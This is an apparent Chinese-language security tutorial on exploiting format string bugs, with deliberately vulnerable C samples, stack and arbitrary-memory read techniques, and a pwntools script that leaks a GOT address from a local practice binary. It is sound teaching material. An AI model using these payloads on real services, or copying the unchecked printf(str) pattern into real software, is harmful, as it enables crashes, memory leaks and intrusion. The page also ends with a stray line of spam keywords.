<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    格式化字符串漏洞利用1

    通過提供格式字符串,我們就能夠控制格式化函數的行為。漏洞的利用主要有下面幾種。

    使程序崩潰

    通常來說,利用格式化字符串漏洞使得程序崩潰是最為簡單的利用方式,因為我們只需要輸入若干個%s即可,這是因為棧上不可能每個值都對應了合法的地址,所以總是會有某個地址可以使得程序崩潰。
    printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")

    • 對于每一個 %sprintf() 都要從棧中獲取一個數字,把該數字視為一個地址,然后打印出地址指向的內存內容,直到出現一個 NULL 字符。
    • 因為不可能獲取的每一個數字都是地址,數字所對應的內存可能并不存在。
    • 還有可能獲得的數字確實是一個地址,但是該地址是被保護的。

    這一利用,雖然攻擊者本身似乎并不能控制程序,但是這樣卻可以造成程序不可用。比如說,如果遠程服務有一個格式化字符串漏洞,那么我們就可以攻擊其可用性,使服務崩潰,進而使得用戶不能夠訪問。

    查看棧內容

    使程序崩潰只是驗證漏洞的第一步,攻擊者還可以利用格式化輸出函數來獲得內存的內容,為下一步漏洞利用做準備。我們已經知道了,格式化字符串函數會根據格式字符串從棧上取值。由于在 x86 上棧由高地址向低地址增長,而 printf() 函數的參數是以逆序被壓入棧的,所以參數在內存中出現的順序與在 printf() 調用時出現的順序是一致的。
    給出事例代碼

    #include <stdio.h>
    int main()
    {
        int a = 0xAAAAAAAA;
        int b = 0xBBBBBBBB;
        int c = 0xCCCCCCCC;
        char *str = "%p %p %p\n";
        printf("%p %p %p %s\n", a, b, c, str);
        printf(str);
        return 0;
    }

    在第一個printf函數處我們輸出三個整型變量,接著輸出字符串str,第二個printf處我們直接將str字符串作為格式化字符串,查看結果。

    格式化字符串漏洞利用
    首先下兩個斷點,在printf處,首先進入第一個printf看下當前棧空間。

    格式化字符串漏洞利用

    這里沒什么問題,按照格式化字符串標準輸出即可。接下來看第二個prinf棧空間

    格式化字符串漏洞利用
    運行看結果

    格式化字符串漏洞利用
    可以看到,我們利用自己寫的格式化字符串能夠查看棧上的信息。這里是%s查看字符串指針用的,在做題的時候可以隨意構造。

    需要注意的是,我們上面給出的方法,都是依次獲得棧中的每個參數,我們有沒有辦法直接獲取棧中被視為第n+1個參數的值呢?當然是可以的了
    具體方法為%n$x這里的 n 表示棧中格式字符串后面的第 n 個值。
    我們考察下面的代碼

    #include <stdio.h>
    int main()
    {
        int a = 0xAAAAAAAA;
        int b = 0xBBBBBBBB;
        int c = 0xCCCCCCCC;
        char str[200];
        scanf("%s",str);
        printf("%p %p %p %s\n", a, b, c, str);
        printf(str);
        return 0;
    }

    我們在第二個printf處下斷點,觀察具體細節
    比如查看第3+1個元素的值,我們輸入%3$x
    格式化字符串漏洞利用

    格式化字符串漏洞利用
    注意gdb這里是0為第一個,跟數組下標一樣,我們打印出的數值應為0xffffcf8c處的數值

    格式化字符串漏洞利用
    同理我們也可以獲取棧變量對應的字符串,通過%s就可以實現
    小技巧總結

    1. 利用%x來獲取對應棧的內存,但建議使用%p,可以不用考慮位數的區別。
    2. 利用%s來獲取變量所對應地址的內容,只不過有零截斷。
    3. 利用%order$x來獲取指定參數的值,利用%order$s來獲取指定參數對應地址內容。

    查看任意地址內存

    有時候,我們可能會想要泄露某一個libc函數的got表內容,從而得到其地址,進而獲取libc版本以及其他函數的地址,這時候,能夠完全控制泄露某個指定地址的內存就顯得很重要了。
    攻擊者可以使用一個“顯示指定地址的內存”的格式規范來查看任意地址的內存。例如,使用 %s 顯示參數 指針所指定的地址的內存,將它作為一個 ASCII 字符串處理,直到遇到一個空字符。如果攻擊者能夠操縱這個參數指針指向一個特定的地址,那么 %s 就會輸出該位置的內存內容。
    下面我們輸入 AAAA.%p 這樣的格式的字符串,觀察一下棧有什么變化。

    格式化字符串漏洞利用

    格式化字符串漏洞利用

    格式化字符串漏洞利用

    格式化字符串漏洞利用

    我們看到’AAAA’是輸出的第8個字符,所以我們使用 %7$s 即可讀出 0x41414141 處的內容,當然,這里可能是一個不合法的地址。
    測試一下

    格式化字符串漏洞利用

    格式化字符串漏洞利用

    我們分析的沒有問題確實定位到了我們輸入的地方
    當然這也沒有什么用,我們真正經常用到的地方是,把程序中某函數的 GOT 地址傳進去,然后獲得該地址所對應的函數的虛擬地址。然后根據函數在 libc 中的相對位置,計算出我們需要的函數地址(如 system())。
    那么如果我們設置一個可訪問的地址呢?比如說scanf@got,結果自然是輸出scanf對應的地址了。
    格式化字符串漏洞利用
    但是這里要注意\x0c\xa0\x04\x08(0x0804a00c)我們直接在python -c print("\x0c\xa0\x04\x08")這樣輸入是會被過濾掉的,因為\x0c對應的ASCII為'\f' (form feed)于是就被省略了,同樣會被省略的還有很多,如 \x07(’\a’)、\x08(’\b’)、\x20(SPACE)等的不可見字符都會被省略。
    下面我們利用pwntools構造payload如下

    from pwn import *
    
    sh = process("./use_fmt1")
    elf = ELF("./use_fmt1")
    __isoc99_scanf_got = elf.got['__isoc99_scanf']
    
    # print ( hex(__isoc99_scanf_got) )
    
    payload = p32(__isoc99_scanf_got) + b'%7$s'
    
    #print ( payload )
    
    gdb.attach(sh)
    sh.sendline(payload)
    
    print ( hex(u32(sh.recv()[4:8])) )# remove the first bytes of __isoc99_scanf@got
    sh.interactive()

    這里我們使用gdb.attach(sh)來進行調試。在printf()處下斷點

    格式化字符串漏洞利用
    可以看到我們的第7個參數確實是想了scanf的地址。
    在終端下也能看到得到的地址
    格式化字符串漏洞利用

    但是,并不是說所有的偏移機器字長的整數倍,可以讓我們直接相應參數來獲取,有時候,我們需要對我們輸入的格式化字符串進行填充,來使得我們想要打印的地址內容的地址位于機器字長整數倍的地址處,一般來說,類似于下面的這個樣子。

    [padding][addr]

    參考

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类